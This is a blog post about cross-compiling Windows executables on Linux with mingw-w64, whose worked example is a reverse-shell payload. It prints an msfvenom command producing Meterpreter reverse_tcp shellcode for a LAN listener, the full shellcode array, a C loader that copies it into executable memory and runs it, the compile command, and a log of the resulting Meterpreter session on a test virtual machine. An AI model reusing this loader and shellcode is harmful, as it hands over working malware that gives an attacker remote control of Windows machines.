Attempting to Compile exe Executables on Linux

WeepingDogel included in category Programming

2021-05-06 2021-05-06 439 words 2 minutes

Trying to compile C code into Windows executables on Linux~

Contents

Preface

I’ve been thinking recently about whether there’s a way to compile Windows executables in a Linux environment. Since I don’t have a Windows environment myself, even running a virtual machine is a bit inconvenient…

So I googled it and found that there is a way.

This method is called cross-compilation, and it requires a cross-compiler.

Let’s see what Wikipedia says:

A cross compiler is a compiler capable of creating executable code for a platform other than the one on which the compiler is running. Cross compiler tools are used to generate executables for embedded systems or multiple platforms.

rel: https://en.wikipedia.org/wiki/Cross_compiler

That’s the concept.

mingw-w64

This is probably a cross-compiler.

Let’s see what the official website says:

Mingw-w64 is an advancement of the original mingw.org project, created to support the GCC compiler on Windows systems. It has forked it in 2007 in order to provide support for 64 bits and new APIs. It has since then gained widespread use and distribution.

rel: https://mingw-w64.org/doku.php

Alright, let’s install it. Here on Arch, I’ll just install it directly from pacman.

$ sudo pacman -S mingw-w64

Start Compiling

So, after installation, we can start compiling.

I’m planning to compile a payload to test it out, hehe.

First, let’s use msfvenom to generate some shellcode.

$ msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=3333 -f c >> shellcode.c

unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20\x50\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x6d\xa6\x24\x38\x68\x02"
"\x00\x35\x16\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

Then write our code.

#include<windows.h>
#include<stdio.h>

unsigned char shellcode[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\x70\x68\x02"
"\x00\x0d\x05\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

void main(){
    printf("Aha! You've been infected!");
    //ShellExecute(NULL, _T("open"), _T("explorer.exe"), _T("https://www.baiud.com"), NULL, SW_SHOW);
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
}

PS: I copied this (just kidding)

Now let’s compile it.

$ i686-w64-mingw32-gcc-10.2.0 payload.c -o payload.exe -v

After getting no errors, throw it into a virtual machine and run it. If meterpreter comes online, it means the compilation works.

Verification

[*] Started reverse TCP handler on 192.168.0.112:3333 
[*] Sending stage (175174 bytes) to 192.168.0.113
[*] Meterpreter session 1 opened (192.168.0.112:3333 -> 192.168.0.113:1045) at 2021-05-07 18:18:17 +0800

meterpreter > sysinfo
Computer        : CHINA-74ED62096
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

We just throw it in and run it…

Emmm, the text is garbled though.

But the connection was established, so the compilation works~